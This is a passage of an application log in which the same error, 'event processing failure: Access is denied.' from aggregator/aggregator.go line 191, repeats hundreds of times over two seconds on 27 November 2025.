msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 